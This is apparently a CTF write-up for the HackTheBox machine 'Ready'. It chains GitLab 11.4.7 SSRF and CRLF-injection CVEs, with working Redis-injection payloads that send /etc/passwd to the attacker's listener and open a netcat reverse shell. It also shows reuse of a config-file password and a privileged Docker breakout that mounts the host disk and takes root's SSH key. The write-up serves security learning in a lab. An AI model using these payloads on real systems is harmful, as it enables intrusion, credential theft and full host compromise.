Ready from HackTheBox features a GitLab instance in a Docker container. Chaining two GitLab CVEs (CVE-2018-19571 & CVE-2018-19585) allows me to gain a foothold on the container. Enumerating the container discovers a password that can be used on the container’s root account. Since the container running in privileged mode, it is possible to mount the host file system into the container.
Skills Learned
- GitLab 11.4.7 exploitation
- Chaining bugs from CVE-2018-19571 and CVE-2018-19585
- Docker security
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- BurpSuite - Preinstalled in Kali Linux
Reconnaissance
Nmap
All TCP ports scan with nmap
discovers two open ports: SSH on port 22, and a HTTP web server on port 5080
→ root@kali «ready» «10.10.14.20»
$ nmap -p- -sV --reason -oA nmap/10-initial-ready '10.10.10.220'
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-14 04:53 EDT
Nmap scan report for 10.10.10.220
Host is up, received echo-reply ttl 63 (0.18s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http syn-ack ttl 62 nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 503.44 seconds
After performing a default script scan shows there’s a GitLab instance on port 5080.
→ root@kali «ready» «10.10.14.20»
$ nmap -p22,5080 -sC -sV --reason -oA nmap/10-default-ready 10.10.10.220
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-14 05:17 EDT
Nmap scan report for 10.10.10.220
Host is up, received echo-reply ttl 63 (0.090s latency).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http syn-ack ttl 62 nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds
Enumeration
TCP 5080 - GitLab
The page displays a self-hosted GitLab Community Edition.
I can register with any email domain.
The GitLab version can be seen by visiting/help
, and it seems to be an outdated one.
I’ll take a note on the version.
User Enumeration via GitLab API
I can enumerate the GitLab users via /api/v4/users
.
Based on the results above, the web_url
has an IP address of 172.19.0.2
while the machine is 10.10.10.220
. It’s possible that Gitlab is running on a container.
Searchsploit
Throwing the GitLab version to searchsploit
returns with two exploits that exactly match with the version.
→ root@kali «~» «10.10.14.20»
$ searchsploit GitLab 11.4.7
-------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1) | ruby/webapps/49257.py
-------------------------------------------------------------------------- ---------------------------------
I relaxed the keyword to find other potential exploits, and I found an arbitrary file read which previously was used to exploit HTB: Laboratory.
→ root@kali «exploit» «10.10.14.20»
$ searchsploit GitLab
-------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------- ---------------------------------
GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1) | ruby/webapps/49257.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt
-------------------------------------------------------------------------- ---------------------------------
Foothold
(Container) Shell as git
GitLab 11.4.7 RCE (CVE-2018-19571 & CVE-2018-19585) - PoC
The RCE exploit that was popped on searchsploit
above is consist of two vulnerabilities: SSRF (CVE-2018-19571) and CRLF Injection (CVE-2018-19585). The exploit’s author uses this post by liveoverflow’s blog post as reference, therefore I’ll try to reproduce it here.
With the SSRF vulnerability, you can talk with the internal Redis server on port 6379 that used by GitLab as database, cache and message broker. To get into this, the Import project feature from GitLab was abused. If there is an HTTP request sent to the Redis server using SSRF, the request would read as follows:
GET blablabla HTTP/1.1
Host: [0:0:0:0:0:ffff:127.0.0.1]:6379
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache
- Err wrong number of arguments for 'get' command
[0:0:0:0:0:ffff:127.0.0.1]
is a special IPv6 address where its last 32 bits is used to embed the IPv4 address. This was used to bypass the SSRF protection defined inspec/lib/gitlab/url_blocker_spec.rb
At this point, Redis reads the HTTP verb GET
as a command. This also mean the attacker can leverage the SSRF to send Redis commands, and this is possible with the CRLF injection.
On GitLab, I’ll import a (non-exist) project and choose the “Repo by URL” menu.
I’ll be using the same SSRF payload to bypass the GitLab URL filter which is git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
and add my .git
repository at the end of the URL, so it becomes git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/ssrf-test.git
.
I’ll intercept the request after I hit the “Create Project” button. On Burp Suite, I’ll replace the import_url
value with the following:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf-test.git
So the full request now looks like this:
POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 778
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=4426e39af6c1d3d4a4484a8a53f0bac9; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=cbS9UXXZDmvTgBUhOTMxF%2FOSii%2FgetcSbM%2FNTT2dG6NllhoQsV8uvbDU65arU9dEOumftKI48ZaDBi6rnJbjOQ%3D%3D&project%5Bimport_url%5D= git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf-test.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=SSRF+test&project%5Bnamespace_id%5D=5&project%5Bpath%5D=ssrf-test&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
When I hit the send button, my listener obtains the file contents of /etc/passwd
.
root@kali «exploit» «10.10.14.20»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.220] 36612
...<SNIP>...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
dude:x:1000:1000::/home/dude:/bin/bash
Weaponize - Reverse Shell
From here, I’ll reproduce the step above, but this time I’ll send myself a shell. The payload is as follows.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|nc -e /bin/bash 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf-to-rce.git
On my nc
listener:
→ root@kali «exploit» «10.10.14.20»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.220] 37306
id
uid=998(git) gid=998(git) groups=998(git)
hostname
gitlab.example.com
pwd
/var/opt/gitlab/gitlab-rails/working
Shell Upgrade
I’ll do the ‘stty’ trick to upgrade my shell.
which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ ^Z
[2] + 2354 suspended nc -nvlp 9000
→ root@kali «exploit» «10.10.14.20»
$ stty raw -echo; fg
[2] - 2354 continued nc -nvlp 9000
git@gitlab:~/gitlab-rails/working$
git@gitlab:~/gitlab-rails/working$ export TERM=xterm
On /home
, there is only one user called dude
, and I’m able to read the user flag there.
git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec 7 16:58 .
drwxr-xr-x 1 root root 4096 Dec 2 10:45 ..
lrwxrwxrwx 1 root root 9 Dec 7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 dude dude 655 May 16 2017 .profile
-r--r----- 1 dude git 33 Dec 2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt
e1e30b052b6ec0670698...<SNIP>...
Privilege Escalation
(Container) Shell as root
Enumeration
There’s a .dockerenv
on the root directory which indicates that I’m inside container. There’s also a file called root_pass
.
git@gitlab:~$ ls -la /
total 104
drwxr-xr-x 1 root root 4096 Dec 1 12:41 .
drwxr-xr-x 1 root root 4096 Dec 1 12:41 ..
-rwxr-xr-x 1 root root 0 Dec 1 12:41 .dockerenv
...<SNIP>...
-rw-r--r-- 1 root root 23 Jun 29 2020 root_pass
The content of root_pass
is a random string. I tried it to the user and root account but no luck.
git@gitlab:/opt/backup$ cat /root_pass
YG65407Bjqvv9A0a8Tm_7w
Exploring on /opt
, there’s a backup
folder which contains three files: docker-compose.yml
, gitlab-secrets.json
and gitlab.rb
.
git@gitlab:/opt/backup$ ls -l
total 100
-rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb
Doing a recursive grep to search string “pass” reveals an SMTP password on gitlab.rb
.
git@gitlab:/opt/backup$ grep -Ri "pass"
...<SNIP>...
gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
...<SNIP>...
su - root
The password wW59U!ZKMbG9+*#h
works on the container root account
git@gitlab:/opt/gitlab$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)
(Host) Shell as root
Docker Breakout - CAP_SYS_ADMIN
Based on the docker-compose.yml
file, I suspect the container is running with privileged flag. According to BookHackTrick, a container with privileged flag will have access to the host devices.
git@gitlab:/opt/backup$ cat docker-compose.yml
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true # ==> Potential privesc vector
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
To verify that I have access to the host devices, I can run capsh --print
which will print out the container capability.
root@gitlab:/opt/gitlab# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
...<SNIP>...
There is a CAP_SYS_ADMIN
, with this capabilities I’m able to mount the host devices to make it available on the container. I can list all the host devices with fdisk -l
.
root@gitlab:~# fdisk -l
...<SNIP>...
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 32558524-85A4-4072-AA28-FA341BE86C2E
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem # the root (/) dir
/dev/sda3 37746688 41940991 4194304 2G Linux swap
Now I can mount the Linux filesystem (/dev/sda2
) of the host to any folder I want.
root@gitlab:/media# mkdir iamf && mount /dev/sda2 /media/iamf
root@gitlab:/media# ls iamf/
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
The root user of the host has SSH keys, I’ll grab only the private key to my machine.
root@gitlab:/media# ls -l iamf/root/.ssh/
total 12
-rw------- 1 root root 405 Dec 7 16:49 authorized_keys
-rw------- 1 root root 1675 Dec 7 16:49 id_rsa
-rw-r--r-- 1 root root 405 Dec 7 16:49 id_rsa.pub
root@gitlab:/media# cat iamf/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
...[SNIP]...
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----
SSH Access - root
After changing the private key permissions to 600, I can login as root user.
→ root@kali «exploit» «10.10.14.20»
$ ssh -i root_rsa root@10.10.10.220
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
...<SNIP>..
System load: 0.05
Usage of /: 67.1% of 17.59GB
Memory usage: 84%
Swap usage: 4%
Processes: 434
Users logged in: 0
IPv4 address for br-bcb73b090b3f: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.220
IPv6 address for ens160: dead:beef::250:56ff:feb9:211
...<SNIP>..
Last login: Thu Feb 11 14:28:18 2021
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)
I can also grab the root flag.
root@ready:~# cut -c-15 root.txt
b7f98681505cd39